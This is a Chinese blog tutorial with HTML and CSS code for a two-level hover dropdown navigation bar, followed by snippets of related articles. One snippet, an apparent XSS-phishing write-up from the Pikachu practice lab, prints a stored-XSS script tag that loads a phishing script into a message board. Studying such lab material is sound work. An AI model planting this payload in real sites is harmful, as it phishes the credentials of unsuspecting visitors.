【html+css（大作业）】二级菜单导航栏
目录
实现效果
代码及其解释
html部分
CSS部分
hello，hello好久不见！
今天我们来写二级导航栏，所谓二级导航栏，简单来说就是鼠标放上去就有菜单拉出：
实现效果
代码及其解释
html部分
<!DOCTYPE html>
<html><head><link rel=" shortcut icon" type="image/x-icon" href="./img/图标1.jpg"><link rel="stylesheet" type="text/css" href="./css/首页.css"/><meta charset="utf-8" /><title>数博会官网</title></head><body><div class="navbar"><div class="nav"><ul><li></li><li></li><li></li><li><a href="#">首页</a><ol><li><a href="#">数博会介绍</a></li><li><a href="#">往届回顾</a></li><li><a href="#">精彩瞬间</a></li></ol></li><li><a href="#">新闻中心</a><ol><li><a href="#">头条新闻</a></li><li><a href="#">展会新闻</a></li><li><a href="#">行业新闻</a></li><li><a href="#">展商新闻</a></li></ol></li><li><a href="#">峰会论坛</a><ol><li><a href="#">大会日程</a></li><li><a href="#">高端对话</a></li><li><a href="#">专业论坛</a></li></ol></li><li><a href="#">展览会</a><ol> <li><a href="#">展会介绍</a></li><li><a href="#">展商名录</a></li><li><a href="#">展品列表</a></li><li><a href="#">展区分布</a></li></ol></li><li><a href="#">数博发布</a></li><li><a href="#">大赛</a></li><li><a href="#">观摩活动</a><ol> <li><a href="#">观摩活动介绍</a></li></ol></li><li class="aaa"><a href="#">数博电讯</a><ol> <li><a href="#">【数博2023】第十二期</a></li><li><a href="#">【数博2023】第十一期</a></li><li><a href="#">【数博2023】第十期</a></li><li><a href="#">【数博2023】第九期</a></li><li><a href="#">【数博2023】第八期</a></li><li><a href="#">【数博2023】第七期</a></li><li><a href="#">【数博2023】第六期</a></li><li><a href="#">【数博2023】第五期</a></li><li><a href="#">【数博2023】第四期</a></li><li><a href="#">【数博2023】第三期</a></li><li><a href="#">【数博2023】第二期</a></li><li><a href="#">【数博2023】第一期</a></li></ol></li><li><a href="#">资料下载</a></li><li><a href="#">联系我们</a><ol> <li><a href="#">联系方式</a></li><li><a href="#">组织机构</a></li><li><a href="#">隐私保护协议</a></li></ol></li><li></li><li class="underline"><!-- 这个元素用来定义滑动的线条 --></li></ul> </div></div><div class="bigimg"><img src="img/大作业/首页大一.jpg" ></div></body>
</html>
CSS部分
*{padding: 0;margin: 0;
}
body{width: 100%;}
li{list-style: none;
}
a{
text-decoration: none;color:#FFFFFF;
}
li ol a{color: darkblue;font-size: 12.5px;line-height: 70px;
}
li ol{text-align: center;
}
.aaa ol li a{font-size: 10px;
}
.navbar{float: left;width: 100%;height: 70px;background-color: #0D2654;background-color: rgba(0,0,0,0.3);/* 怎么感觉没用啊？ */box-shadow: 0px 0px 5px ;
}
/* 后代选择器 */
.navbar .nav{width: 100%;height: 100%;/* 让元素水平居中 */margin: 0 auto;
}
.navbar .nav ul{/* 相对定位 */position: relative;/* 弹性布局 */display: flex;/* 让子元素平均分配宽度 */justify-content: space-around;width: 100%;height: 100%;
}
/* 只对ul里的li起作用？ */
.navbar .nav ul>li{background-color: #0D2654;background: rgba(0,0,0,0.3);width: 100%;height: 100%;
}
/* 只对ul里的li里的a起作用 */
.navbar .nav ul>li>a{/* ? */display: block;width: 100%;height: 100%;line-height: 70px;text-align: center;
}
.navbar .nav ul>li ol{width: 100%;background-color: #FFFFFF;/* box-shadow: 1px 1px 3px; *//* 让盒子先沿着y轴缩放到0，也就是隐藏了 */transform: scaleY(0);/* 我们需要将盒子从上面滑动下来 设置一下缩放中心点即可 */transform-origin: 50% 0;/* 设置过渡 *//* transition: all 0.6s; */
}
.navbar .nav ul >li ol li{height: 70px;border-bottom: 1px solid rgb(245,245,245);
}
.navbar .nav ul>li ol li:hover{background-color: rgba(0,180,245,0.3);
}
.navbar .nav ul>li:hover ol{transform: scaleY(1);
}
.navbar .nav ul .underline{top: 50px;/* 绝对定位 */position: absolute;bottom: 0;/* 第一个条条距离最左边的距离 */left: 315px;width: 100px;/* 条高 */height: 2px;/* 设置圆角 */border-radius: 2px;background-color: white;/* 加上过渡 *//* transition: all 0.5s; *//* 不加了 */pointer-events: none;}.navbar .nav ul>li:nth-child(2):hover~ .underline{left: 315px;background-color:white;}.navbar .nav ul>li:nth-child(3):hover~ .underline{left: 315px;background-color: white;}.navbar .nav ul>li:nth-child(4):hover~ .underline{left: 315px;background-color: white;}.navbar .nav ul>li:nth-child(5):hover~ .underline{left: 425px;background-color:white;}.navbar .nav ul>li:nth-child(6):hover~ .underline{left: 525px;background-color: white;}.navbar .nav ul>li:nth-child(7):hover~ .underline{left: 635px;background-color:white;}.navbar .nav ul>li:nth-child(8):hover~ .underline{left: 735px;background-color: white;}.navbar .nav ul>li:nth-child(9):hover~ .underline{left: 840px;background-color:white;}.navbar .nav ul>li:nth-child(10):hover~ .underline{left: 945px;background-color: white;}.navbar .nav ul>li:nth-child(11):hover~ .underline{left: 1045px;background-color: white;}.navbar .nav ul>li:nth-child(12):hover~ .underline{left: 1150px;background-color:white;}.navbar .nav ul>li:nth-child(13):hover~ .underline{left: 1260px;background-color:white;}.navbar .nav ul>li:nth-child(14):hover~ .underline{left: 1260px;background-color:white;}.bigimg{float: left;margin-top: -70px;}img{width: 100%;}希望能帮到您！！，
我们下次见啦~~
相关文章：
【html+css（大作业）】二级菜单导航栏
目录 实现效果 代码及其解释 html部分 CSS部分 hello，hello好久不见！ 今天我们来写二级导航栏，所谓二级导航栏，简单来说就是鼠标放上去就有菜单拉出： 实现效果 代码及其解释 html部分 <!DOCTYPE html> &l…...
算法基础之集合-Nim游戏
集合-Nim游戏 核心思想： 博弈论 sg函数：在有向图游戏中,对于每个节点x,设从x出发共有k条有向边,分别到达节点y1,y2,yk,定义SG(x)的后记节点y1,y2,,yk的SG函数值构成的集合在执行mex运算的结果,即:SG(x)mex({SG(y1),SG(y2)SG(yk)}) **特别地,**整个有向图…...
Diffusion Model, Stable Diffusion, Stable Diffusion XL 详解
文章目录 Diffusion Model生成模型DDPM概述向前扩散过程前向扩散的逐步过程前向扩散的整体过程 反向去噪过程网络结构训练和推理过程训练过程推理过程优化目标 详细数学推导数学基础向前扩散过程反向去噪过程 Stable Diffusion组成结构运行流程网络结构变分自编码器 (VAE)文本编…...
智能奶柜：重塑牛奶零售新篇章
智能奶柜：重塑牛奶零售新篇章 回忆往昔，孩童时代对送奶员每日拜访的期待，那熟悉的一幕——新鲜牛奶被细心放置于家门口的奶箱中，成为了许多人温馨的童年记忆。如今，尽管直接投递袋装牛奶的情景已不多见，但…...
源代码防泄密--沙盒技术安全风险分析
将原本用于防护病毒木马的沙盒（沙箱）技术，运用于源代码防泄密领域，形成沙盒防泄密系统，是否安全可行？依据沙盒防泄密基本工作原理，可从安全模型、沙箱逃逸以及与进程相关性等多个角度࿰…...
韭菜收割项目
最近在玩股票，被人当成韭菜收割了一顿。高点追涨，第二天直接跌停。以为是低点，想抄底，结果别人直接抄家，血亏!!! 作为一个程序员，还是好好敲代码赚钱好了，一步一步。想不劳而获是不可能的。 我写…...
Unity3D输入事件
文章目录 前言一、全局事件二、射线三、点选3D模型四、点击地面控制人物移动总结 前言 Unity输入事件分为两类，全局触发和监听式触发。全局触发通常是运行在update在每帧进行检测，而监听式触发是被动的输入事件。 一、全局事件 在最新的unity中有新和旧…...
c++ thread detach
#include <thread> #include <iostream>using namespace std;void func() {cout << "子线程func开始执行！" << endl;//do somethingcout << "子线程func执行结束！" << endl; }int main() {cout…...
入门四认识HTML
目录 一、HTML介绍 1、Web前端三大核心技术 2、什么是HTML 3、Html标签 4、标签属性 二、HTML骨架标签 三、编写HTML工具 四、常用标签 1、注释 2、标题标签 3、段落标签 4、超链接标签 5、图片标签 6、换行与空格 7、布局标签 8、列表标签 9、表单…...
js怎么生成验证码？js生成指定长度的随机字符串
在项目中经常有生成随机字符串的需求，比如验证接口签名、验证码(Node.js发送短信或邮箱验证码、生成图片验证码)，我们可以使用Javascript生成随机字符。 使用随机数从给出的可能字符中抽取合并字符串 优点是可以自定义结果中字符的取值，比如…...
Python魔法之旅-魔法方法(01)
目录 一、概述 1、定义 2、作用 二、主要应用场景 1、构造和析构 2、操作符重载 3、字符串和表示 4、容器管理 5、可调用对象 6、上下文管理 7、属性访问和描述符 8、迭代器和生成器 9、数值类型 10、复制和序列化 11、自定义元类行为 12、自定义类行为 13、类…...
介绍下 npm 模块安装机制，为什么输入 npm install 就可以自动安装对应的模块
npm（Node Package Manager）模块安装机制是Node.js生态系统中非常重要的一部分，它允许开发者轻松管理和安装Node.js项目的依赖项。下面我将详细介绍npm模块的安装机制，以及为什么输入npm install就可以自动安装对应的模块。 npm模…...
vue2如何父组件 对象 双向绑定子组件
对于Vue 2，你不能直接用v-model绑定对象，但可以通过在子组件内部处理value prop的变化并触发input事件来模拟这一行为。 父组件A 1<template> 2 <ComponentB v-model"item" prop-names"addressId,date,startTime,endTime&quo…...
[Android]在后台线程执行耗时操作，然后在主线程更新UI
1.Coroutines（官方推荐） Coroutines 提供了一种轻量级的线程管理方式，使得在后台线程执行任务和在主线程更新 UI 变得简单。以下是如何在 Kotlin 中使用 Coroutines 来处理耗时逻辑并更新 UI 的步骤： 添加 Coroutines 依赖: 首…...
平方回文数-第13届蓝桥杯选拔赛Python真题精选
[导读]：超平老师的Scratch蓝桥杯真题解读系列在推出之后，受到了广大老师和家长的好评，非常感谢各位的认可和厚爱。作为回馈，超平老师计划推出《Python蓝桥杯真题解析100讲》，这是解读系列的第73讲。 平方回文数&#…...
 2D旋转位置编码)
位置编码(三) 2D旋转位置编码
Rotary Position Embedding for Vision Transformer https://arxiv.org/abs/2403.13298 Transformer升级之路：4、二维位置的旋转式位置编码 https://kexue.fm/archives/8397 Transformer升级之路：17、多模态位置编码的简单思考 https://kexue.fm/archive…...
1、pikachu靶场之xss钓鱼复现
一、复现过程 1、payload <script src"http://127.0.0.1/pkxss/xfish/fish.php"></script> 将这段代码插入到含有储存xss的网页上，如下留言板 2、此时恶意代码已经存入数据库，并存在网页中，当另一个用户打开这个网页…...
弘君资本炒股技巧：股票定向增发是什么意思？是好是坏？
股票定向增发是指已上市的公司向指定的组织或者个人投资者额外发行股份募集资金的融资方法，发行价格为发行前某一阶段的平均价的必定比例，增发的价格不得低于前二十个买卖日股票均价的80％。 例如，个股定增前二十个买卖股票平均价为…...
vue3项目使用pinia状态管理器----通俗易懂
1、首先安装pinia yarn add pinia # 或使用npm npm install pinia 2、在项目的src目录下新建store文件夹，然后store目录下新建index.js / index.ts ： 我这里是index,js import { createPinia } from "pinia"// 创建 Pinia 实例 const pinia …...
零基础学Java第二十五天之Lambda表达式
Lambda表达式 简介 Lambda是一个匿名函数(方法)， 允许把函数作为一个方法的参数 。利用Lambda表达式可以写出更简洁、更灵活的代码。作为一种更紧凑的代码风格，使Java的语言表达能力得到了提升。一般都是优化匿名内部类 基础语法 无参数、无返回值的抽…...
Vue记事本应用实现教程
文章目录 1. 项目介绍2. 开发环境准备3. 设计应用界面4. 创建Vue实例和数据模型5. 实现记事本功能5.1 添加新记事项5.2 删除记事项5.3 清空所有记事 6. 添加样式7. 功能扩展：显示创建时间8. 功能扩展：记事项搜索9. 完整代码10. Vue知识点解析10.1 数据绑…...
PPT|230页| 制造集团企业供应链端到端的数字化解决方案：从需求到结算的全链路业务闭环构建
制造业采购供应链管理是企业运营的核心环节，供应链协同管理在供应链上下游企业之间建立紧密的合作关系，通过信息共享、资源整合、业务协同等方式，实现供应链的全面管理和优化，提高供应链的效率和透明度，降低供应链的成…...
多模态商品数据接口：融合图像、语音与文字的下一代商品详情体验
一、多模态商品数据接口的技术架构 （一）多模态数据融合引擎 跨模态语义对齐 通过Transformer架构实现图像、语音、文字的语义关联。例如，当用户上传一张“蓝色连衣裙”的图片时，接口可自动提取图像中的颜色（RGB值&…...
让AI看见世界：MCP协议与服务器的工作原理
让AI看见世界：MCP协议与服务器的工作原理 MCP（Model Context Protocol）是一种创新的通信协议，旨在让大型语言模型能够安全、高效地与外部资源进行交互。在AI技术快速发展的今天，MCP正成为连接AI与现实世界的重要桥梁。…...
IoT/HCIP实验-3/LiteOS操作系统内核实验(任务、内存、信号量、CMSIS..)
文章目录 概述HelloWorld 工程C/C配置编译器主配置Makefile脚本烧录器主配置运行结果程序调用栈 任务管理实验实验结果osal 系统适配层osal_task_create 其他实验实验源码内存管理实验互斥锁实验信号量实验 CMISIS接口实验还是得JlINKCMSIS 简介LiteOS->CMSIS任务间消息交互…...
【开发技术】.Net使用FFmpeg视频特定帧上绘制内容
目录 一、目的 二、解决方案 2.1 什么是FFmpeg 2.2 FFmpeg主要功能 2.3 使用Xabe.FFmpeg调用FFmpeg功能 2.4 使用 FFmpeg 的 drawbox 滤镜来绘制 ROI 三、总结 一、目的 当前市场上有很多目标检测智能识别的相关算法，当前调用一个医疗行业的AI识别算法后返回…...
蓝桥杯3498 01串的熵
问题描述 对于一个长度为 23333333的 01 串, 如果其信息熵为 11625907.5798， 且 0 出现次数比 1 少, 那么这个 01 串中 0 出现了多少次? #include<iostream> #include<cmath> using namespace std;int n 23333333;int main() {//枚举 0 出现的次数//因…...
AI书签管理工具开发全记录（十九）：嵌入资源处理
1.前言 📝 在上一篇文章中，我们完成了书签的导入导出功能。本篇文章我们研究如何处理嵌入资源，方便后续将资源打包到一个可执行文件中。 2.embed介绍 🎯 Go 1.16 引入了革命性的 embed 包，彻底改变了静态资源管理的…...
JVM虚拟机：内存结构、垃圾回收、性能优化
1、JVM虚拟机的简介 Java 虚拟机（Java Virtual Machine 简称：JVM）是运行所有 Java 程序的抽象计算机，是 Java 语言的运行环境，实现了 Java 程序的跨平台特性。JVM 屏蔽了与具体操作系统平台相关的信息，使得 Java 程序只需生成在 JVM 上运行的目标代码（字节码），就可以…...
LINUX 69 FTP 客服管理系统 man 5 /etc/vsftpd/vsftpd.conf
FTP 客服管理系统 实现kefu123登录，不允许匿名访问，kefu只能访问/data/kefu目录，不能查看其他目录 创建账号密码 useradd kefu echo 123|passwd -stdin kefu [rootcode caozx26420]# echo 123|passwd --stdin kefu 更改用户 kefu 的密码…...